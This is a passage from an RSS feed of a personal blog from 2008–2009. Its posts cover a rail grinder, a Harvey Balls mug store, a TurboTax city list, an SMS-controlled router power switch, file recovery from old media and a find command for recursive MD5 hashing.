dinner. As we got out of the car, I noticed an interesting looking machine throwing i</itunes:subtitle><itunes:author>noreply@blogger.com (ambanmba)</itunes:author><itunes:summary> Although I've long since retired my Tonka Toys, I still love the sight of big machines in action. We were in the Blue Mountains this weekend and stopped in Katoomba for dinner. As we got out of the car, I noticed an interesting looking machine throwing impressive sparks off the nearby train tracks. I initially thought it was a derailed train car being dragged down the track, but on closer inspection realised that it was a SPENO Rail Grinder in action. When it came back for its second pass a few minutes later, I was ready with my camera and had already gotten along this fence to get a better look. Above is my YouTube video of the SPENO in action.</itunes:summary><itunes:keywords>transport</itunes:keywords></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4472000937732072079.post-4622548831286460850</guid><pubDate>Mon, 23 Feb 2009 13:04:00 +0000</pubDate><atom:updated>2009-03-14T22:47:46.992+11:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">tech</category><title>I've gone commercial!</title><description>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vAHtfRb-ZNo/SaKfD1ivCjI/AAAAAAAAApc/71rXQFCOIN0/s1600-h/Picture+4.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 145px; height: 160px;" src="http://3.bp.blogspot.com/_vAHtfRb-ZNo/SaKfD1ivCjI/AAAAAAAAApc/71rXQFCOIN0/s320/Picture+4.png" alt="" id="BLOGGER_PHOTO_ID_5305978199257057842" border="0" /&gt;&lt;/a&gt;What started out as an effort to make a better &lt;a href="http://www.ambor.com/public/hb/harveyballs.html"&gt;Harvey Balls&lt;/a&gt; font for my personal use at work has turned into a web page that gets the bulk of the hits to my site.&lt;br /&gt;Since the font is free, I've toyed with Google Adsense to see if I could monetise the visits, but it's hardly worth the effort.&lt;br /&gt;Then last weekend a friend of mine mentioned Cafe Press which has a very neat business model. Just a few clicks and in no time I was able to put together a "store" to flog some "consultant chic." Check it out and let me know what you think. You can check out the new store at: &lt;a href="http://www.harveyballs.org"&gt;http://www.harveyballs.org&lt;/a&gt;&lt;br /&gt;One of the items for sale, for example, is this mug which is not only a piece of fine ceramic, but could also be a lifesaver in case you haven't prepared for the meeting and need to "wing it" with a standard agenda. :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4472000937732072079-4622548831286460850?l=blog.ambor.com'/&gt;&lt;/div&gt;</description><link>http://blog.ambor.com/2009/02/ive-gone-commercial.html</link><author>noreply@blogger.com (ambanmba)</author><media:thumbnail url="http://3.bp.blogspot.com/_vAHtfRb-ZNo/SaKfD1ivCjI/AAAAAAAAApc/71rXQFCOIN0/s72-c/Picture+4.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4472000937732072079.post-2653917044049374188</guid><pubDate>Sun, 15 Feb 2009 06:07:00 +0000</pubDate><atom:updated>2009-02-15T20:54:28.077+11:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">strange</category><title>Strange TurboTax Geography</title><description>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vAHtfRb-ZNo/SZe4kEKTXBI/AAAAAAAAAo8/wUYz-0Ipwg8/s1600-h/Picture+5.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 198px; height: 320px;" src="http://1.bp.blogspot.com/_vAHtfRb-ZNo/SZe4kEKTXBI/AAAAAAAAAo8/wUYz-0Ipwg8/s320/Picture+5.png" alt="" id="BLOGGER_PHOTO_ID_5302910015983803410" border="0" /&gt;&lt;/a&gt;I was filling out my U.S. taxes this morning and needed to enter the location where I incurred my foreign housing expenses. Although I suppose "Australia" would have been sufficient, it seems that they want me to be a bit more specific.&lt;br /&gt;&lt;br /&gt;I live in a small town called &lt;a href="http://en.wikipedia.org/wiki/Sydney"&gt;Sydney&lt;/a&gt; which some believe is the capital of Australia. To avoid making me type it out, TurboTax conveniently provides a drop-down menu where I can select one of 7 cities or "All Other."&lt;br /&gt;&lt;br /&gt;I naively might have thought that they'd just use the &lt;a href="http://en.wikipedia.org/wiki/List_of_cities_in_Australia_by_population"&gt;top-7 largest cities&lt;/a&gt;. Oddly, they went instead with some other system that includes the &lt;a href="http://en.wikipedia.org/wiki/Gold_Coast,_Queensland"&gt;Gold Coast&lt;/a&gt; (fair enough, it's the 6th most populous city in Australia) and  &lt;a href="http://en.wikipedia.org/wiki/Toowoomba"&gt;Toowoomba&lt;/a&gt; (15th most populous). Most puzzling, however, is that they also included &lt;a style="font-weight: bold;" href="http://en.wikipedia.org/wiki/Oakey"&gt;Oakey&lt;/a&gt;,  a rural town situated 160km west of Brisbane with a population of 3,657! HUH?&lt;br /&gt;&lt;br /&gt;I think I'll pay a visit to Oakey next time I'm in rural Queensland - after all according to the Wikipedia page it boasts several amenities including an Olympic-sized swimming pool and golf course. Apparently there are several motels and hotels in town providing accommodation, as well as a caravan park catering for tourists. Most conveniently, if I work there, it will be easier to file my U.S. taxes!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4472000937732072079-2653917044049374188?l=blog.ambor.com'/&gt;&lt;/div&gt;</description><link>http://blog.ambor.com/2009/02/strange-turbotax-geography.html</link><author>noreply@blogger.com (ambanmba)</author><media:thumbnail url="http://1.bp.blogspot.com/_vAHtfRb-ZNo/SZe4kEKTXBI/AAAAAAAAAo8/wUYz-0Ipwg8/s72-c/Picture+5.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4472000937732072079.post-2836998804189134173</guid><pubDate>Sat, 14 Feb 2009 08:09:00 +0000</pubDate><atom:updated>2009-02-15T23:43:08.067+11:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">tech</category><title>Remote Control by SMS with a GSM Phone</title><description>I have a &lt;a href="http://www.ambor.com/public/nslu2hack/nslu2hack.html"&gt;small web server&lt;/a&gt; in our apartment which needs a reliable internet connection 24/7. For one reason or another, either my &lt;a href="http://www.tpg.com.au/"&gt;ISP&lt;/a&gt; or my &lt;a href="http://www.netcomm.com.au/products/wireless_broadband/nb6plus4w"&gt;router&lt;/a&gt; somehow figure out when we're overseas and use that as an opportunity to break our internet connection. When the connection is broken, the router needs to be rebooted, but when we're overseas I can't do this until we get back (I obviously can't remotely log-in when the network is down).&lt;br /&gt;&lt;br /&gt;I contemplated a solution that used a timer to simply turn the power off/on at midnight, but this wasn't an elegant solution since it would lead to unnecessary outages, extra wear and tear, and also would lead to a potential maximum outage of over 23 hours if the outage occurred immediately after a reset.&lt;br /&gt;&lt;br /&gt;I also contemplated some fixed-line phone based solutions &lt;a href="http://www.xs4all.nl/%7Ebernard/phone.html"&gt;such as this one&lt;/a&gt; or &lt;a href="http://www.quasarelectronics.com/3140-4-channel-dtmf-telephone-relay-switcher.htm"&gt;this one&lt;/a&gt;, but my entire home is on VoIP so when the network is down, I can't dial-in either. Also, international calls on a mobile phone are expensive, but SMS messages are not.&lt;br /&gt;&lt;br /&gt;So, my objective became an ability to &lt;span style="font-weight: bold;"&gt;remotely switch a device on/off from anywhere in the world using an SMS sent from my mobile phone&lt;/span&gt; (which I always carry with me).&lt;br /&gt;&lt;br /&gt;I essentially needed to combine three distinct items:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;A device to receive SMS messages and send a command to item #2&lt;br /&gt;&lt;/li&gt;&lt;li&gt;A device to safely turn the power on/off to a 240V AC device&lt;/li&gt;&lt;li&gt;An inexpensive mobile phone plan for a device to receive SMS messages&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Item 1 - SMS receiver / Processor&lt;/span&gt;&lt;br /&gt;A Google search came up with some very expensive industrial/enterprise grade solutions such as &lt;a href="http://www.bieneelectronics.com/"&gt;this&lt;/a&gt; and &lt;a href="http://www.ferret.com.au/c/CrispTech/New-GSM-remote-control-system-from-CrispTech-n673996"&gt;this&lt;/a&gt;. There are also some completely DIY solutions such as &lt;a href="http://www.serasidis.gr/circuits/smscontrol/smscontroller.htm"&gt;this one&lt;/a&gt; but it requires a specific model of Ericsson phone. I also found a few cheaper "kits" such as &lt;a href="http://www.talkingelectronics.com/shop/products/SMS-Controlled-Input-and-Output-Module.-GSM-phone.html"&gt;this&lt;/a&gt; and &lt;a href="http://www.jaycar.com.au/productView.asp?ID=KC5400&amp;amp;keywords=sms&amp;amp;form=KEYWORD"&gt;this&lt;/a&gt; which required a specific model of Nokia phone. My view is that having an old mobile phone in the solution just adds another point of failure.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vAHtfRb-ZNo/SZgH0kv2ZTI/AAAAAAAAApE/2xpso8T8dnA/s1600-h/Picture+5.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 113px; height: 160px;" src="http://3.bp.blogspot.com/_vAHtfRb-ZNo/SZgH0kv2ZTI/AAAAAAAAApE/2xpso8T8dnA/s320/Picture+5.png" alt="" id="BLOGGER_PHOTO_ID_5302997161027724594" border="0" /&gt;&lt;/a&gt;Then I stumbled across &lt;a href="http://www.rhinoco.com.au/product/tsms/"&gt;this device&lt;/a&gt; (RhinoCo TSMS) which is actually intended to be part of a car alarm system. It has a SIM card slot and several inputs/outputs. With this device you can independently control 4 outputs (3 latching and 1 momentary). It also has inputs that can trigger SMSs to be sent. It can send custom messages to (or ring) up to 5 different phone numbers and it can receive commands from an arbitrary number of phones via SMS (with security passwords). This was EXACTLY the device I needed. It's marketed as a car alarm add-on, but this device is essentially a generic SMS/GSM remote control! I was fortunate enough to find a brand new unopened TSMS on eBay for under $150, but they are also available at places that sell car alarms. A list of distributors is given on their web site. I'm sure there are other car alarms with this type of feature as well which could be used in the same way.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Item 2a - Trigger-based Power Switch&lt;/span&gt; (Cheap Option)&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vAHtfRb-ZNo/SZgJUwI8irI/AAAAAAAAApM/xy1wZiZyUGs/s1600-h/Picture+6.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 117px; height: 96px;" src="http://2.bp.blogspot.com/_vAHtfRb-ZNo/SZgJUwI8irI/AAAAAAAAApM/xy1wZiZyUGs/s320/Picture+6.png" alt="" id="BLOGGER_PHOTO_ID_5302998813353216690" border="0" /&gt;&lt;/a&gt;I decided that I didn't want to hack the actual router (or the router's power supply), so I went looking for a device to switch the 240VAC mains power. The Rhino device above provides an output which is 0V when "off" and 12VDC when "on." So I needed something to take this low voltage and switch the high voltage that goes to the router power supply. The easy option here was to go with a &lt;a href="http://en.wikipedia.org/wiki/Solid_state_relay"&gt;solid state relay&lt;/a&gt; (a.k.a. an SSR). The&lt;a href="http://www.jaycar.com.au/"&gt; local electronics shop&lt;/a&gt; had &lt;a href="http://www.jaycar.com.au/productView.asp?ID=SY4084&amp;amp;keywords=solid+state+relay&amp;amp;form=KEYWORD"&gt;this one&lt;/a&gt; (a HONGFA &lt;a href="http://www.hongfa.com/products/product_01.php?id=279&amp;amp;disp_type=02&amp;amp;product_type=4"&gt;HFS15&lt;/a&gt; - &lt;a href="http://www.alldatasheet.com/datasheet-pdf/pdf/194486/HONGFA/HFS15.html"&gt;click here for the data sheet&lt;/a&gt;) in stock. It's a pretty standard device that takes an input voltage of 3-32VDC and then switches 240VAC on/off. I won't go into the details of how to assemble this, but keep in mind that you'll be working with &lt;span style="font-weight: bold;"&gt;DANGEROUS HIGH VOLTAGE POWER&lt;/span&gt;. If you need a more step-by-step set of instructions on how to put something like this together, have &lt;a href="http://www.instructables.com/id/A_USB_Power_Controled_Plug_Strip_With_Isolation/"&gt;a look here at this great article at instructables.com&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Item 2b - Trigger-based Power Switch&lt;/span&gt; (Easy Option)&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vAHtfRb-ZNo/SZgKElAjAlI/AAAAAAAAApU/op1keRJDSLk/s1600-h/Picture+7.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 100px; height: 150px;" src="http://4.bp.blogspot.com/_vAHtfRb-ZNo/SZgKElAjAlI/AAAAAAAAApU/op1keRJDSLk/s320/Picture+7.png" alt="" id="BLOGGER_PHOTO_ID_5302999634998919762" border="0" /&gt;&lt;/a&gt;If the thought of working with dangerous high voltages puts you off, another option is to use an &lt;a href="http://en.wikipedia.org/wiki/X10_%28industry_standard%29"&gt;X10 controller&lt;/a&gt; system. All you need then is a "Lamp Module" and a "Trigger Module." The trigger module would take a signal from the car alarm and then send it to the lamp module over the power lines using the X10 protocol. In Australia you can get these items here: (&lt;a href="http://www.winplus.com.au/instructions/HA113%20-%20Lamp%20Module.pdf"&gt;Lamp Module&lt;/a&gt; / &lt;a href="http://www.winplus.com.au/instructions/HA118%20-%20Smart%20Trigger%20Module.pdf"&gt;Trigger Module&lt;/a&gt;). In the US you can &lt;a href="http://www.x10.com/"&gt;look here&lt;/a&gt;. In Europe you can &lt;a href="http://www.x10europe.com/"&gt;look here&lt;/a&gt;.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Item 3 - Cheap Long Expiry Phone Plan&lt;/span&gt;&lt;br /&gt;This whole project is useless without a phone service to access the device. Phone companies (at least those here in Australia) typically want you to sign up for some sort of monthly plan or a pre-paid service with credit that expires in 30 days. After scouring all the major providers, I found that Vodafone currently offers a &lt;a href="http://www.vodafone.com.au/personal/prepaid-mobile/365-day-plan.html"&gt;365-day prepaid plan&lt;/a&gt; which works perfectly! Basically for $20 you get a phone number to receive SMS messages - that's all you need. Incidentally, there is also such a company called &lt;a href="http://www.isim.com.au/"&gt;iSIM which offers a $10 recharge which lasts 186 days (with 186 day extension for receive-only)&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Conclusion&lt;/span&gt;&lt;br /&gt;So I put all the pieces together this weekend and it works perfectly! In fact with this setup I can arbitrarily control any 3 devices in the apartment just with my phone. It also has inputs so I can later do some fancy stuff like notifying me if the router is down (with a photodiode on the router's LINK light), etc. My assembled device also has LEDs to tell me the status of the three Rhino TSMS outputs. I found &lt;a href="http://ledcalc.com/"&gt;this neat site to help me figure out the right current-limiting resistors to use for the LEDs&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4472000937732072079-2836998804189134173?l=blog.ambor.com'/&gt;&lt;/div&gt;</description><link>http://blog.ambor.com/2009/02/remote-control-by-sms-with-gsm-phone.html</link><author>noreply@blogger.com (ambanmba)</author><media:thumbnail url="http://3.bp.blogspot.com/_vAHtfRb-ZNo/SZgH0kv2ZTI/AAAAAAAAApE/2xpso8T8dnA/s72-c/Picture+5.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><enclosure url="http://www.winplus.com.au/instructions/HA113%20-%20Lamp%20Module.pdf" length="455628" type="application/pdf" /><media:content url="http://www.winplus.com.au/instructions/HA113%20-%20Lamp%20Module.pdf" fileSize="455628" type="application/pdf" /><itunes:subtitle>I have a small web server in our apartment which needs a reliable internet connection 24/7. For one reason or another, either my ISP or my router somehow figure out when we're overseas and use that as an opportunity to break our internet connection. When </itunes:subtitle><itunes:author>noreply@blogger.com (ambanmba)</itunes:author><itunes:summary>I have a small web server in our apartment which needs a reliable internet connection 24/7. For one reason or another, either my ISP or my router somehow figure out when we're overseas and use that as an opportunity to break our internet connection. When the connection is broken, the router needs to be rebooted, but when we're overseas I can't do this until we get back (I obviously can't remotely log-in when the network is down). I contemplated a solution that used a timer to simply turn the power off/on at midnight, but this wasn't an elegant solution since it would lead to unnecessary outages, extra wear and tear, and also would lead to a potential maximum outage of over 23 hours if the outage occurred immediately after a reset. I also contemplated some fixed-line phone based solutions such as this one or this one, but my entire home is on VoIP so when the network is down, I can't dial-in either. Also, international calls on a mobile phone are expensive, but SMS messages are not. So, my objective became an ability to remotely switch a device on/off from anywhere in the world using an SMS sent from my mobile phone (which I always carry with me). I essentially needed to combine three distinct items: A device to receive SMS messages and send a command to item #2 A device to safely turn the power on/off to a 240V AC deviceAn inexpensive mobile phone plan for a device to receive SMS messages Item 1 - SMS receiver / Processor A Google search came up with some very expensive industrial/enterprise grade solutions such as this and this. There are also some completely DIY solutions such as this one but it requires a specific model of Ericsson phone. I also found a few cheaper "kits" such as this and this which required a specific model of Nokia phone. My view is that having an old mobile phone in the solution just adds another point of failure. Then I stumbled across this device (RhinoCo TSMS) which is actually intended to be part of a car alarm system. It has a SIM card slot and several inputs/outputs. With this device you can independently control 4 outputs (3 latching and 1 momentary). It also has inputs that can trigger SMSs to be sent. It can send custom messages to (or ring) up to 5 different phone numbers and it can receive commands from an arbitrary number of phones via SMS (with security passwords). This was EXACTLY the device I needed. It's marketed as a car alarm add-on, but this device is essentially a generic SMS/GSM remote control! I was fortunate enough to find a brand new unopened TSMS on eBay for under $150, but they are also available at places that sell car alarms. A list of distributors is given on their web site. I'm sure there are other car alarms with this type of feature as well which could be used in the same way. Item 2a - Trigger-based Power Switch (Cheap Option) I decided that I didn't want to hack the actual router (or the router's power supply), so I went looking for a device to switch the 240VAC mains power. The Rhino device above provides an output which is 0V when "off" and 12VDC when "on." So I needed something to take this low voltage and switch the high voltage that goes to the router power supply. The easy option here was to go with a solid state relay (a.k.a. an SSR). The local electronics shop had this one (a HONGFA HFS15 - click here for the data sheet) in stock. It's a pretty standard device that takes an input voltage of 3-32VDC and then switches 240VAC on/off. I won't go into the details of how to assemble this, but keep in mind that you'll be working with DANGEROUS HIGH VOLTAGE POWER. If you need a more step-by-step set of instructions on how to put something like this together, have a look here at this great article at instructables.com. Item 2b - Trigger-based Power Switch (Easy Option) If the thought of working with dangerous high voltages puts you off, another option is to use an X10 controller system. All you need then is a "Lamp Module" and a "Trigger Module." The trigger module would </itunes:summary><itunes:keywords>tech</itunes:keywords></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4472000937732072079.post-2293335442129865744</guid><pubDate>Sun, 01 Feb 2009 06:04:00 +0000</pubDate><atom:updated>2009-02-01T17:51:21.934+11:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">cars and bikes</category><title>Great Sydney Motorbike Ride</title><description>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vAHtfRb-ZNo/SYU-5xLTJHI/AAAAAAAAAdw/GIOxdpF1d24/s1600-h/IMG_2431.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_vAHtfRb-ZNo/SYU-5xLTJHI/AAAAAAAAAdw/GIOxdpF1d24/s320/IMG_2431.JPG" alt="" id="BLOGGER_PHOTO_ID_5297709698845451378" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://picasaweb.google.com/alastair.bor/MotorbikeRide1Feb09?authkey=NpRg0e9KS4w&amp;amp;feat=directlink"&gt;A group of us&lt;/a&gt; had been planning a bike ride for quite some time and it was starting to look like we were all talk and no action. &lt;a href="http://www.sundaymorningrides.com/"&gt;Then I found this site&lt;/a&gt; [sundaymorningrides.com] during an internet surf and it was the catalyst I needed to just send the invite out.&lt;br /&gt;&lt;br /&gt;The site is full of great rides all over the world, and there is quite a good list of &lt;a href="http://www.sundaymorningrides.com/australia/"&gt;Australian rides&lt;/a&gt; on there. We decided to do the &lt;a href="http://www.sundaymorningrides.com/australia/3170752/"&gt;Country and Mountain&lt;/a&gt; ride which I can highly recommend. It's got a great mix of speeds / scenery / elevation changes / rest-stop opportunities and the route has little traffic. Given how hot it was out there today, the mountain air was very refreshing.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4472000937732072079-2293335442129865744?l=blog.ambor.com'/&gt;&lt;/div&gt;</description><link>http://blog.ambor.com/2009/02/great-sydney-motorbike-rides.html</link><author>noreply@blogger.com (ambanmba)</author><media:thumbnail url="http://2.bp.blogspot.com/_vAHtfRb-ZNo/SYU-5xLTJHI/AAAAAAAAAdw/GIOxdpF1d24/s72-c/IMG_2431.JPG" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4472000937732072079.post-7955618409930438906</guid><pubDate>Sun, 25 Jan 2009 22:40:00 +0000</pubDate><atom:updated>2009-01-26T10:25:46.217+11:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">tech</category><title>Rescuing corrupted files from old media</title><description>I recently found a box of my old (in computer terms) electronic documents dating back from 1996. They were stored on a combination of &lt;a href="http://en.wikipedia.org/wiki/Iomega_Zip_drive"&gt;Zip 100&lt;/a&gt; disks and normal &lt;a href="http://en.wikipedia.org/wiki/CD-R"&gt;CD-R&lt;/a&gt; disks. Given that the sum total of all these disks wouldn't even make a dent on the terabyte drive in my closet, I thought I'd migrate them over. I also wondered how easy it would be to rescue ~10 year old digital media after my &lt;a href="http://www.ambor.com/public/78rpm/78rpm.html"&gt;successful effort at 80 year old media&lt;/a&gt;!&lt;br /&gt;&lt;br /&gt;Deep in the bowels of my storage room, I found the parallel port Zip drive (although missing the cables and power supply). I tried my variable power supply and the thing fired up no problems on 5VDC. I was also pleasantly surprised that &lt;a href="http://www.iomega.com/"&gt;Iomega&lt;/a&gt; still lets you download the &lt;a href="https://iomega-ap-en.custhelp.com/cgi-bin/iomega_ap_en.cfg/php/enduser/cci/platform.php?prod_lvl1=1&amp;amp;prod_lvl2=17&amp;amp;p_prods=1,17&amp;amp;p_pv=2.17&amp;amp;p_sid=O85oKQoj"&gt;drivers &lt;/a&gt;for these things. The Zip drives were notorious for the &lt;a href="http://en.wikipedia.org/wiki/Click_of_death"&gt;Click of Death&lt;/a&gt;, but I had no trouble recovering all the old files.&lt;br /&gt;&lt;br /&gt;Then came the CD-Rs which I thought would be the easiest... in fact, most of them had large sections that were unreadable. Lesson for the future: CD-Rs only last about 5 years, so copy them over to new media.&lt;br /&gt;&lt;br /&gt;I then stumbled upon an amazing piece of software called &lt;a href="http://www.jfilerecovery.com/"&gt;JFileRecovery&lt;/a&gt; which is not only free, but multi-platform (Mac, Linux, Windows, whatever runs Java). This application will force the computer to retry [a configurable amount of time] until the drive can read the data. If not, it fills it with blank space so that the file is the correct size. For most data files, as long as the beginning is intact, blank spaces in the middle of the file make it still partially (or completely) recoverable.&lt;br /&gt;&lt;br /&gt;With this software, I was able to revive virtually all of the .xls, .doc and .ppt files with no noticeable corruption (MS Office does a decent job of opening and "fixing" these corrupt files). As for the photos, most were recoverable but contain obvious glitches in the corrupt area.&lt;br /&gt;&lt;br /&gt;So, the next time you have trouble copying a file and you think it's because of corrupt media (you get "time out"  "Data Error" "Cyclic Redundancy Check" "CRC Error"  "Error performing inpage operation" or similar errors) give JFileRecovery a try.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4472000937732072079-7955618409930438906?l=blog.ambor.com'/&gt;&lt;/div&gt;</description><link>http://blog.ambor.com/2009/01/rescuing-corrupted-files-from-old-media.html</link><author>noreply@blogger.com (ambanmba)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4472000937732072079.post-2938073064247689967</guid><pubDate>Mon, 12 Jan 2009 08:16:00 +0000</pubDate><atom:updated>2009-01-31T12:18:10.689+11:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">tech</category><category domain="http://www.blogger.com/atom/ns#">mac</category><title>Recursively MD5 multiple files in OS X Leopard</title><description>I have an archive of very large files that I would like to preserve into the future. I wanted to produce an &lt;a href="http://en.wikipedia.org/wiki/Md5"&gt;MD5 hash&lt;/a&gt; of all the files so that as the years pass, I can be certain that the files are exactly the same as they started (i.e. not corrupted by aging storage media). As a Mac user, I knew about the &lt;a href="http://www.linuxmanpages.com/man1/md5.1.php"&gt;md5&lt;/a&gt; command, but unfortunately this command only works on one file at a time and will not recursively hash a directory full of files. I also knew about the &lt;a href="http://md5deep.sourceforge.net/"&gt;md5deep&lt;/a&gt; project which specifically adds this functionality, but alas there wasn't an OS X binary available anywhere that I could find. Upon Googling for such a program, there were a bunch of nice GUI-based programs for Windows, but nothing for OS X.&lt;br /&gt;&lt;br /&gt;This morning when I went into work I explained my problem to &lt;a href="http://brad.aurisch.com.au/"&gt;Brad&lt;/a&gt; who suggested that I investigate if the &lt;a href="http://www.linuxmanpages.com/man1/find.1.php"&gt;find&lt;/a&gt; command would be of any use. Indeed, this was great advice and probably explains why there isn't a ready app in OS X to do it - essentially this functionality is built in!&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;find * -iname '*.dv' -exec md5 '{}' \; &gt;output.txt&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;The above command will find all files that match "*.dv" (i.e. any file with an extension of dv) in the current directory and below, and then produce an MD5 hash of that file. It will then output the list of all the md5s to a file called output.txt.&lt;br /&gt;&lt;br /&gt;So, basically if you are ever looking for a program where you can drop a folder into it to check and include subfolders to do a particular activity (and you're not afraid to use the command line), you can adapt the technique above by changing the md5 command to any other command.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4472000937732072079-2938073064247689967?l=blog.ambor.com'/&gt;&lt;/div&gt;</description><link>http://blog.ambor.com/2009/01/recursively-md5-multiple-files-in-os-x.html</link><author>noreply@blogger.com (ambanmba)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4472000937732072079.post-8097936221603656773</guid><pubDate>Thu, 08 Jan 2009 02:46:00 +0000</pubDate><atom:updated>2009-02-15T17:06:54.652+11:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">cars and bikes</category><category domain="http://www.blogger.com/atom/ns#">microblog</category><category domain="http://www.blogger.com/atom/ns#">strange</category><title>Why are people so lame at driving?</title><description>&lt;p class="mobile-photo"&gt;&lt;a href="http://2.bp.blogspot.com/_vAHtfRb-ZNo/SWVsUCdOPSI/AAAAAAAAAOM/BmYy6hrg3sI/s1600-h/%3D%3Futf-8%3FB%3FSU1HMDAwNDIuanBn%3F%3D-732019"&gt;&lt;img src="http://2.bp.blogspot.com/_vAHtfRb-ZNo/SWVsUCdOPSI/AAAAAAAAAOM/BmYy6hrg3sI/s320/%3D%3Futf-8%3FB%3FSU1HMDAwNDIuanBn%3F%3D-732019" alt="" id="BLOGGER_PHOTO_ID_5288752428929137954" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;The Toyota had plenty of room, but decided to share my spot.&lt;br /&gt;&lt;br /&gt;Sent from my BlackBerry® from Optus&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4472000937732072079-8097936221603656773?l=blog.ambor.com'/&gt;&lt;/div&gt;</description><link>http://blog.ambor.com/2009/01/why-are-people-so-lame-at-driving.html</link><author>noreply@blogger.com (ambanmba)</author><media:thumbnail url="http://2.bp.blogspot.com/_vAHtfRb-ZNo/SWVsUCdOPSI/AAAAAAAAAOM/BmYy6hrg3sI/s72-c/%3D%3Futf-8%3FB%3FSU1HMDAwNDIuanBn%3F%3D-732019" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4472000937732072079.post-7505762463575587910</guid><pubDate>Fri, 12 Dec 2008 08:56:00 +0000</pubDate><atom:updated>2008-12-12T19:56:50.796+11:00</atom:updated><title>First Post!</title><description>This is my first post to the blog. I'm basically trying to bootstrap this thing so that I can set up all the files and stuff.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4472000937732072079-7505762463575587910?l=blog.ambor.com'/&gt;&lt;/div&gt;</description><link>http://blog.ambor.com/2008/12/first-post.html</link><author>noreply@blogger.com (ambanmba)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><language>en-us</language><media:rating>nonadult</media:rating></channel></rss>
